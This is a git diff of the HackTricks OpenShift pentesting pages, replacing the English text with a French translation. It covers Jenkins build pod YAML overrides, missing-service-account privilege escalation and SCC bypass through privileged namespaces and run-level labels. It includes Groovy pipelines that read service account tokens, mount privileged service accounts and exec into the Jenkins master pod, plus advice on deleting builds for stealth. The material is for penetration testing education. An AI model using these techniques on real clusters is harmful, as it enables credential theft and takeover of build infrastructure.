mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 15:05:44 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -1,23 +1,19 @@
|
||||
# OpenShift Pentesting
|
||||
|
||||
## Basic Information
|
||||
## Informations de base
|
||||
|
||||
{{#ref}}
|
||||
openshift-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Context Constraints
|
||||
## Contraintes de contexte de sécurité
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Escalade de privilèges
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,33 @@
|
||||
# OpenShift - Basic information
|
||||
# OpenShift - Informations de base
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
## Kubernetes connaissances b**asiques** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
Avant de travailler avec OpenShift, assurez-vous d'être à l'aise avec l'environnement Kubernetes. Tout le chapitre OpenShift suppose que vous avez des connaissances préalables en Kubernetes.
|
||||
|
||||
## OpenShift - Basic Information
|
||||
## OpenShift - Informations de base
|
||||
|
||||
### Introduction
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift est la plateforme d'application conteneurisée de Red Hat qui offre un surensemble des fonctionnalités de Kubernetes. OpenShift a des politiques de sécurité plus strictes. Par exemple, il est interdit d'exécuter un conteneur en tant que root. Il offre également une option sécurisée par défaut pour améliorer la sécurité. OpenShift dispose d'une console web qui inclut une page de connexion en un clic.
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift est livré avec sa propre CLI, que vous pouvez trouver ici :
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
Pour vous connecter en utilisant la CLI :
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
### **OpenShift - Contrainte de Contexte de Sécurité** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
En plus des [ressources RBAC](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) qui contrôlent ce qu'un utilisateur peut faire, OpenShift Container Platform fournit des _contraintes de contexte de sécurité_ (SCC) qui contrôlent les actions qu'un pod peut effectuer et ce à quoi il a la capacité d'accéder.
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC est un objet de politique qui a des règles spéciales qui correspondent à l'infrastructure elle-même, contrairement à RBAC qui a des règles qui correspondent à la Plateforme. Cela nous aide à définir quelles fonctionnalités de contrôle d'accès Linux le conteneur devrait être capable de demander/exécuter. Exemple : Capacités Linux, profils SECCOMP, monter des répertoires localhost, etc.
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**L'auteur original de cette page est** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
Cette page donne quelques indications sur la façon dont vous pouvez attaquer une instance Jenkins fonctionnant dans un cluster Openshift (ou Kubernetes).
|
||||
|
||||
## Disclaimer
|
||||
## Avertissement
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
Une instance Jenkins peut être déployée dans un cluster Openshift ou Kubernetes. Selon votre contexte, vous devrez peut-être adapter tout payload, yaml ou technique montrée. Pour plus d'informations sur l'attaque de Jenkins, vous pouvez consulter [cette page](../../../pentesting-ci-cd/jenkins-security/).
|
||||
|
||||
## Prerequisites
|
||||
## Prérequis
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Accès utilisateur dans une instance Jenkins OU 1b. Accès utilisateur avec permission d'écriture à un dépôt SCM où une construction automatisée est déclenchée après un push/merge.
|
||||
|
||||
## How it works
|
||||
## Comment ça fonctionne
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
Fondamentalement, presque tout ce qui se passe en arrière-plan fonctionne de la même manière qu'une instance Jenkins régulière fonctionnant dans une VM. La principale différence est l'architecture globale et la façon dont les constructions sont gérées à l'intérieur d'un cluster Openshift (ou Kubernetes).
|
||||
|
||||
### Builds
|
||||
### Constructions
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
Lorsqu'une construction est déclenchée, elle est d'abord gérée/orchestrée par le nœud maître Jenkins, puis déléguée à un agent/esclave/travailleur. Dans ce contexte, le nœud maître est juste un pod régulier fonctionnant dans un namespace (qui peut être différent de celui où les travailleurs fonctionnent). Il en va de même pour les travailleurs/esclaves, cependant, ils sont détruits une fois la construction terminée, tandis que le maître reste toujours actif. Votre construction est généralement exécutée à l'intérieur d'un pod, en utilisant un modèle de pod par défaut défini par les administrateurs Jenkins.
|
||||
|
||||
### Triggering a build
|
||||
### Déclenchement d'une construction
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
Vous avez plusieurs façons principales de déclencher une construction, telles que :
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. Vous avez accès à l'interface utilisateur de Jenkins
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
Une manière très facile et pratique est d'utiliser la fonctionnalité Replay d'une construction existante. Cela vous permet de rejouer une construction précédemment exécutée tout en vous permettant de mettre à jour le script groovy. Cela nécessite des privilèges sur un dossier Jenkins et un pipeline prédéfini. Si vous devez être furtif, vous pouvez supprimer vos constructions déclenchées si vous avez suffisamment de permissions.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. Vous avez un accès en écriture au SCM et des constructions automatisées sont configurées via webhook
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
Vous pouvez simplement modifier un script de construction (tel que Jenkinsfile), valider et pousser (éventuellement créer une PR si les constructions ne sont déclenchées que lors des fusions de PR). Gardez à l'esprit que ce chemin est très bruyant et nécessite des privilèges élevés pour nettoyer vos traces.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
## Remplacement YAML du Pod de Construction Jenkins
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,278 +1,259 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
# Jenkins dans Openshift - remplacements de pod de construction
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**L'auteur original de cette page est** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
## Plugin Kubernetes pour Jenkins
|
||||
Ce plugin est principalement responsable des fonctions de base de Jenkins à l'intérieur d'un cluster openshift/kubernetes. Documentation officielle [ici](https://plugins.jenkins.io/kubernetes/)
|
||||
Il offre quelques fonctionnalités telles que la possibilité pour les développeurs de remplacer certaines configurations par défaut d'un pod de construction Jenkins.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
## Fonctionnalité principale
|
||||
|
||||
Ce plugin permet une flexibilité aux développeurs lors de la construction de leur code dans un environnement adéquat.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
Il peut cependant être abusé pour utiliser n'importe quelle image accessible, comme Kali Linux, et exécuter des commandes arbitraires en utilisant des outils préinstallés de cette image. Dans l'exemple ci-dessous, nous pouvons exfiltrer le jeton de service du pod en cours d'exécution.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
Une syntaxe différente pour atteindre le même objectif.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
Exemple pour remplacer l'espace de noms du pod
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
Un autre exemple qui essaie de monter un serviceaccount (qui peut avoir plus de permissions que celui par défaut, exécutant votre build) en fonction de son nom. Vous devrez peut-être deviner ou énumérer d'abord les serviceaccounts existants.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
La même technique s'applique pour essayer de monter un Secret. L'objectif final ici serait de comprendre comment configurer votre build de pod pour pivoter efficacement ou obtenir des privilèges.
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
## Aller plus loin
|
||||
|
||||
## Going further
|
||||
Une fois que vous êtes habitué à jouer avec, utilisez vos connaissances sur Jenkins et Kubernetes/Openshift pour trouver des erreurs de configuration / abus.
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
Posez-vous les questions suivantes :
|
||||
|
||||
Ask yourself the following questions:
|
||||
- Quel compte de service est utilisé pour déployer des pods de build ?
|
||||
- Quels rôles et permissions a-t-il ? Peut-il lire les secrets de l'espace de noms dans lequel je me trouve actuellement ?
|
||||
- Puis-je énumérer d'autres pods de build ?
|
||||
- À partir d'un sa compromis, puis-je exécuter des commandes sur le nœud/pod maître ?
|
||||
- Puis-je énumérer davantage le cluster pour pivoter ailleurs ?
|
||||
- Quel SCC est appliqué ?
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
Vous pouvez découvrir quels commandes oc/kubectl émettre [ici](../openshift-basic-information.md) et [ici](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
### Scénarios possibles de privesc/pivoting
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
Supposons que lors de votre évaluation, vous ayez découvert que tous les builds Jenkins s'exécutent dans un espace de noms appelé _worker-ns_. Vous avez découvert qu'un compte de service par défaut appelé _default-sa_ est monté sur les pods de build, cependant il n'a pas beaucoup de permissions à part l'accès en lecture sur certaines ressources mais vous avez pu identifier un compte de service existant appelé _master-sa_.
|
||||
Supposons également que vous ayez la commande oc installée à l'intérieur du conteneur de build en cours d'exécution.
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
Avec le script de build ci-dessous, vous pouvez prendre le contrôle du compte de service _master-sa_ et énumérer davantage.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
Selon votre accès, soit vous devez continuer votre attaque à partir du script de construction, soit vous pouvez vous connecter directement en tant que cet sa sur le cluster en cours d'exécution :
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
Si ce sa a suffisamment de permissions (comme pod/exec), vous pouvez également prendre le contrôle de l'ensemble de l'instance jenkins en exécutant des commandes à l'intérieur du pod du nœud maître, s'il s'exécute dans le même espace de noms. Vous pouvez facilement identifier ce pod par son nom et par le fait qu'il doit monter un PVC (persistent volume claim) utilisé pour stocker les données de jenkins.
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
Dans le cas où le pod du nœud maître ne fonctionne pas dans le même espace de noms que les travailleurs, vous pouvez essayer des attaques similaires en ciblant l'espace de noms maître. Supposons qu'il s'appelle _jenkins-master_. Gardez à l'esprit que le serviceAccount master-sa doit exister dans l'espace de noms _jenkins-master_ (et pourrait ne pas exister dans l'espace de noms _worker-ns_).
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# OpenShift - Privilege Escalation
|
||||
# OpenShift - Escalade de Privilèges
|
||||
|
||||
## Missing Service Account
|
||||
## Compte de Service Manquant
|
||||
|
||||
{{#ref}}
|
||||
openshift-missing-service-account.md
|
||||
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
|
||||
openshift-tekton.md
|
||||
{{#endref}}
|
||||
|
||||
## SCC Bypass
|
||||
## Contournement SCC
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,23 @@
|
||||
# OpenShift - Missing Service Account
|
||||
# OpenShift - Compte de Service Manquant
|
||||
|
||||
## Missing Service Account
|
||||
## Compte de Service Manquant
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
Il arrive que le cluster soit déployé avec un modèle préconfiguré définissant automatiquement des Rôles, des Liens de Rôle et même des SCC pour un compte de service qui n'est pas encore créé. Cela peut conduire à une élévation de privilèges dans le cas où vous pouvez les créer. Dans ce cas, vous seriez en mesure d'obtenir le jeton du compte de service nouvellement créé et le rôle ou le SCC associé. Le même cas se produit lorsque le compte de service manquant fait partie d'un projet manquant, dans ce cas, si vous pouvez créer le projet puis le compte de service, vous obtenez les Rôles et le SCC associés.
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
Dans le graphique précédent, nous avons plusieurs AbsentProject signifiant plusieurs projets qui apparaissent dans les Liens de Rôle ou le SCC mais qui ne sont pas encore créés dans le cluster. Dans le même ordre d'idées, nous avons également un AbsentServiceAccount.
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
Si nous pouvons créer un projet et le compte de service manquant à l'intérieur, le compte de service héritera du Rôle ou du SCC qui visaient l'AbsentServiceAccount. Ce qui peut conduire à une élévation de privilèges.
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
L'exemple suivant montre un compte de service manquant qui se voit accorder le SCC node-exporter :
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
## Outils
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
L'outil suivant peut être utilisé pour énumérer ce problème et plus généralement pour représenter un cluster OpenShift :
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**L'auteur original de cette page est** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## Espaces de noms privilégiés
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
Par défaut, SCC ne s'applique pas sur les projets suivants :
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
Si vous déployez des pods dans l'un de ces espaces de noms, aucun SCC ne sera appliqué, permettant le déploiement de pods privilégiés ou le montage du système de fichiers hôte.
|
||||
|
||||
## Namespace Label
|
||||
## Étiquette d'espace de noms
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
Il existe un moyen de désactiver l'application SCC sur votre pod selon la documentation de RedHat. Vous devrez avoir au moins l'une des permissions suivantes :
|
||||
|
||||
- Créer un espace de noms et créer un pod dans cet espace de noms
|
||||
- Modifier un espace de noms et créer un pod dans cet espace de noms
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
L'étiquette spécifique `openshift.io/run-level` permet aux utilisateurs de contourner les SCC pour les applications. Selon la documentation de RedHat, lorsque cette étiquette est utilisée, aucune SCC n'est appliquée à tous les pods dans cet espace de noms, supprimant ainsi toute restriction.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Ajouter une étiquette
|
||||
|
||||
Pour ajouter l'étiquette dans votre espace de noms :
|
||||
```bash
|
||||
